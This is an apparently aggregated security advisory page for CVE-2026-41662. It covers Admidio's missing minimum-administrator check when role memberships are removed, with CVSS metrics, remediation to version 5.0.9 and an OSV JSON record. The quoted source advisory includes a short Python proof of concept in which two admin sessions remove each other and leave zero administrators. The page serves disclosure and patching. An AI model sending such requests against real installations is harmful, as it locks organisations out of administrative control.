CVE-2026-41662: Admidio/admidio Admidio Missing Minimum Administrator Check Vulnerability

MODERATE
Advisory Identifier: GHSA-c7xm-r6vj-8vg6
CVSS 5.2
CWE-754
Published
Advisory Summary

CVE-2026-41662 is a MODERATE (CVSS 5.2) admidio missing minimum administrator check vulnerability (CWE-754: Improper Check for Unusual or Exceptional Conditions) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio missing minimum administrator check in role membership removal. Remediation is available by upgrading affected packages to version 5.0.9.

CVE-2026-41662 at a Glance

CVE Identifier CVE-2026-41662
GHSA Identifier GHSA-c7xm-r6vj-8vg6
Severity MODERATE
CVSS v3.1 Base Score 5.2
CWE Classification CWE-754: Improper Check for Unusual or Exceptional Conditions
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2026-41662

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.9
Upgrade admidio/admidio to 5.0.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41662, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.9), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-754: Improper Check for Unusual or Exceptional Conditions, where the product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `Role::stopMembership()` does not verify whether removing a user from the administrator role leaves zero administrators. The deprecated `Membership::stopMembership()` contains this safety check, but the current code path bypasses it. Any administrator can remove the last remaining other administrator, locking the entire system out of administrative access. The exploit does not require concurrent requests; sequential removals produce the same result. ## Details `Role::stopMembership()` in `src/Roles/Entity/Role.php` stops a user's membership in a role without verifying whether the action leaves the administrator role with zero members: ```php // src/Roles/Entity/Role.php - Role::stopMembership() public function stopMembership(int $userId): bool { // No check for minimum administrator count // Directly updates membership end date } ``` The deprecated `Membership::stopMembership()` contains this safety check and raises `SYS_MUST_HAVE_ADMINISTRATOR` when the removal would leave no admins, but current code paths no longer call this method. `Role::setMembership()` includes a guard that prevents a user from removing their own administrator membership: ```php if ($userId === $gCurrentUserId) { // Prevents self-removal from admin role } ``` This guard does not prevent an administrator from removing the last other administrator. Consider a system with exactly two administrators (Admin A and Admin B): 1. Admin A removes Admin B from the administrator role. The self-removal check passes (Admin A is not removing themselves). No minimum-count check runs. Admin B loses admin access. 2. Admin A is now the sole administrator. Admin A cannot remove themselves (self-removal guard), but the system is one compromised account away from total lockout. 3. If Admin A and Admin B each send a removal request for the other (sequentially or concurrently), both succeed. The system has zero administrators. The core bug is the missing minimum-administrator check in `Role::stopMembership()`, not timing. Sequential requests reproduce the issue just as concurrent ones do. ## Proof of Concept Requirements: two active administrator accounts (Admin A and Admin B) with valid sessions. ```python import requests BASE = "https://admidio.example.com" session_a = requests.Session() session_b = requests.Session() # Authenticate both sessions (login step omitted for brevity) # Step 1: Admin A removes Admin B (sequential, no race needed) resp1 = session_a.post(f"{BASE}/modules/profile/profile_function.php", data={ "mode": "stop_membership", "user_uuid": ADMIN_B_UUID, "role_uuid": ADMIN_ROLE_UUID }) print(f"Admin A removes Admin B: {resp1.status_code}") # 200 # Step 2: Admin B removes Admin A (Admin B's session is still valid) resp2 = session_b.post(f"{BASE}/modules/profile/profile_function.php", data={ "mode": "stop_membership", "user_uuid": ADMIN_A_UUID, "role_uuid": ADMIN_ROLE_UUID }) print(f"Admin B removes Admin A: {resp2.status_code}") # 200 # The system now has 0 administrators. ``` After both requests complete, no users remain in the administrator role. The administrative interface becomes inaccessible. Recovery requires direct database manipulation to reassign the administrator role. ## Impact Two colluding or compromised administrator accounts lock out all administrative access to the Admidio installation. Recovery demands direct database access, which may not be available on shared hosting environments. The attack does not require precise timing because `Role::stopMembership()` performs no minimum-admin-count check at all. ## Recommended Fix Add a minimum-administrator-count check to `Role::stopMembership()`. Before stopping a membership in the administrator role, query the current count of active members. If stopping this membership would leave zero administrators, reject the request with `SYS_MUST_HAVE_ADMINISTRATOR`. This mirrors the check already present in the deprecated `Membership::stopMembership()` method. --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-41662 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.9
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.9
5.0.9

References

Frequently Asked Questions

What is CVE-2026-41662?
CVE-2026-41662 is a security vulnerability in Admidio/admidio involving Admidio Missing Minimum Administrator Check in Role Membership Removal under CWE-754: Improper Check for Unusual or Exceptional Conditions.
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.9 across affected packages: admidio/admidio.
What version fixes CVE-2026-41662?
Upgrading to 5.0.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.9. Upgrade your dependency to 5.0.9 or later.
What is the CVSS score of CVE-2026-41662?
CVE-2026-41662 has a CVSS v3.1 base score of 5.2 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:H.
What CWE is associated with CVE-2026-41662?
CVE-2026-41662 is classified under CWE-754: Improper Check for Unusual or Exceptional Conditions (The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.).
How can I check Packagist dependencies for CVE-2026-41662?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c7xm-r6vj-8vg6",
  "modified" : "2026-05-08T20:13:55Z",
  "published" : "2026-04-29T21:53:20Z",
  "aliases" : [ "CVE-2026-41662" ],
  "summary" : "Admidio Missing Minimum Administrator Check in Role Membership Removal",
  "details" : "## Summary\n\n`Role::stopMembership()` does not verify whether removing a user from the administrator role leaves zero administrators. The deprecated `Membership::stopMembership()` contains this safety check, but the current code path bypasses it. Any administrator can remove the last remaining other administrator, locking the entire system out of administrative access. The exploit does not require concurrent requests; sequential removals produce the same result.\n\n## Details\n\n`Role::stopMembership()` in `src/Roles/Entity/Role.php` stops a user's membership in a role without verifying whether the action leaves the administrator role with zero members:\n\n```php\n// src/Roles/Entity/Role.php - Role::stopMembership()\npublic function stopMembership(int $userId): bool\n{\n    // No check for minimum administrator count\n    // Directly updates membership end date\n}\n```\n\nThe deprecated `Membership::stopMembership()` contains this safety check and raises `SYS_MUST_HAVE_ADMINISTRATOR` when the removal would leave no admins, but current code paths no longer call this method.\n\n`Role::setMembership()` includes a guard that prevents a user from removing their own administrator membership:\n\n```php\nif ($userId === $gCurrentUserId) {\n    // Prevents self-removal from admin role\n}\n```\n\nThis guard does not prevent an administrator from removing the last other administrator. Consider a system with exactly two administrators (Admin A and Admin B):\n\n1. Admin A removes Admin B from the administrator role. The self-removal check passes (Admin A is not removing themselves). No minimum-count check runs. Admin B loses admin access.\n2. Admin A is now the sole administrator. Admin A cannot remove themselves (self-removal guard), but the system is one compromised account away from total lockout.\n3. If Admin A and Admin B each send a removal request for the other (sequentially or concurrently), both succeed. The system has zero administrators.\n\nThe core bug is the missing minimum-administrator check in `Role::stopMembership()`, not timing. Sequential requests reproduce the issue just as concurrent ones do.\n\n## Proof of Concept\n\nRequirements: two active administrator accounts (Admin A and Admin B) with valid sessions.\n\n```python\nimport requests\n\nBASE = \"https://admidio.example.com\"\n\nsession_a = requests.Session()\nsession_b = requests.Session()\n\n# Authenticate both sessions (login step omitted for brevity)\n\n# Step 1: Admin A removes Admin B (sequential, no race needed)\nresp1 = session_a.post(f\"{BASE}/modules/profile/profile_function.php\", data={\n    \"mode\": \"stop_membership\",\n    \"user_uuid\": ADMIN_B_UUID,\n    \"role_uuid\": ADMIN_ROLE_UUID\n})\nprint(f\"Admin A removes Admin B: {resp1.status_code}\")  # 200\n\n# Step 2: Admin B removes Admin A (Admin B's session is still valid)\nresp2 = session_b.post(f\"{BASE}/modules/profile/profile_function.php\", data={\n    \"mode\": \"stop_membership\",\n    \"user_uuid\": ADMIN_A_UUID,\n    \"role_uuid\": ADMIN_ROLE_UUID\n})\nprint(f\"Admin B removes Admin A: {resp2.status_code}\")  # 200\n\n# The system now has 0 administrators.\n```\n\nAfter both requests complete, no users remain in the administrator role. The administrative interface becomes inaccessible. Recovery requires direct database manipulation to reassign the administrator role.\n\n## Impact\n\nTwo colluding or compromised administrator accounts lock out all administrative access to the Admidio installation. Recovery demands direct database access, which may not be available on shared hosting environments. The attack does not require precise timing because `Role::stopMembership()` performs no minimum-admin-count check at all.\n\n## Recommended Fix\n\nAdd a minimum-administrator-count check to `Role::stopMembership()`. Before stopping a membership in the administrator role, query the current count of active members. If stopping this membership would leave zero administrators, reject the request with `SYS_MUST_HAVE_ADMINISTRATOR`. This mirrors the check already present in the deprecated `Membership::stopMembership()` method.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-c7xm-r6vj-8vg6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41662"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-754" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T21:53:20Z",
    "nvd_published_at" : "2026-05-07T04:16:30Z"
  }
}